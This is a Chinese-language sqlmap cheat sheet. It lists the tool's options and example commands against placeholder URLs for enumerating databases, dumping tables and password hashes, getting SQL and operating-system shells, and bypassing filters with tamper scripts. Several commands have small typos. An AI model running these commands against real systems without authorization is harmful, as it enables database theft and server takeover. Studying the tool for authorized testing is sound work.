SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,lBM DB2,SQLite,Firebird, Sybase和SAP MaxD。
sqlmap -hh
Target | 目标 |
Request | 请求 |
Optimization | 优化 |
Injection | 注入 |
Detection | 检测 |
Fingerprint | 指纹 |
Enumeration | 枚举 |
Burte force | 蛮力 |
File system access | 访问文件系统 |
Operating system access | 操作系统访问 |
Windows | 注册表访问 |
General | 一般 |
Miscellaneous | 杂项 |
命令 | 信息 |
---|---|
–batch | sqlmap不会询问你输入,全部默认确定 |
-u | 指定URL,?id=*,利用并明确注入参数 |
–data “id=1” | POST请求 |
-p | 指定注入参数 |
-r filepath | sqlmap可以从一个文本文件中获取HTTP请求, 这样就可以跳过设置—些其他参数(比如cookie,POST数据,等等) |
–cookie | 在浏览器中登录目标网站后复制出维持登录状态的cookie,例如 –cookie “JSESSIONID=E5D6C8C81;NAME=winner;” |
–level | 3 HTTP User-Agent/Referer 2 Cookie 默认1 |
-v | -v表示显示sq1map在进行注入时的详细信息,一共有七个等级,默认为1 0、只显示python错误以及严重的信息 1、同时显示基本信息和警告信息 2、同时显示debug信息 3、同时显示注入的payload 4、同时显示HTTP请求 5、同时显示HTTP响应头 6、同时显示HTTP响应页面 |
信息 | 命令 |
---|---|
获取 DataName 数据库的表列 | -D DataName --tables |
字段 | –columns -T “tablename” -D “db_name” -v 0 |
获取字段数据 | -D DataName -T TableNamen -C “admin,password” --dump -v 0 |
列出指定字段,列出20条 | –dump -C “password,user,id” -T “tablename”-D “db_name” --start 1 --stop 20 |
列出所有数据库所有表 | –dump-all -v 0 |
--version #显示程序的版本号并退出
-h, --help #显示此帮助消息并退出
-u #设置目标URL
-p #指定测试参数
-D #指定要进行枚举的数据库名
-T #指定要进行枚举的数据库表
-C #指定要进行枚举的数据库列
-U #指定要进行枚举的数据库用户
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--cookie #设置cookie值
--dbs #列出数据库
--tables #列出数据库中的表
--columns #列出表中的列
--dump #列出表中的字段
--sql-shell #执行SQL命令
--os-cmd #执行系统命令
--os-shell #与系统交互shell
-r #加载外部请求包
--data=DATA #通过POST发送数据字符串
--level=LEVEL #执行测试的等级(1-5,默认为1)
--risk=RISK #执行测试的风险(0-3,默认为1)
-v VERBOSE #详细级别:0-6 (默认为1)
--proxy=PROXY #使用HTTP代理连接到目标URL
--user-agent #指定HTTP User-Agent
--tamper=TAMPER #使用给定的脚本(S)篡改注入数据
#获取当前用户名称
sqlmap-u "http://url/news?id=1" --current-user
#获取当前数据库名称
sqlmap-u "http://url/news?id=1" --current-db
#枚举所有数据库名
sqlmap-u "http://url/news?id=1" --dbs
#列出指定数据库的表名
sqlmap-u "http://url/news?id=1" -D "db_name" --tables
#列列出指定数据库对应表的字段
sqlmap-u "http://url/news?id=1" -D "db_name" -T "tablename" --columns
#获取字段内容
sqlmap-u "http://url/news?id=1" -D "db_name" -T "table_name" -C "column_name"--dump
#dbms指定数据库类型
sqlmap-u "http://url/news?id=1" --dbms "Mysql" --users
#列数据库用户
sqlmap-u "http://url/news?id=1" --users
#数据库用户密码
sqlmap-u "http://url/news?id=1" --passwords
#执行指定sql命令
sqlmap-u "http://url/news?id=1" --sql-shell
#执行系统命令
sqlmap-u "http://url/news?id=1" --os-cmd=whoami
#系统交互shell
sqlmap-u "http://url/news?id=1" --os-shell
#保存进度
sqlmap-u "http://url/news?id=1" --dbs -o"sqlmap.log"
#恢复已保存进度
sqlmap-u "http://url/news?id=1" --dbs -o"sqlmap.log" --resume
#加载脚本(可利用绕过注入限制)
sqlmap-u "http://url/news?id=1" --tampe r"space2comment"
#判断注入点和数据类型:
sqlmap -u "http://www.test.php?id=1" --GET方法注入
#判断数据库名(dbs)
sqlmap -u "http://www.test.php?id=1" --dbs
#判断表名(tables)
sqlmap -u "http://www.test.php?id=1"-D 数据库名 --tables
#判断列名(columns)
sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 --column
#获取字段
sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 -C 列名 --dump
注:多多使用才是王道,以至于熟练掌握,加油!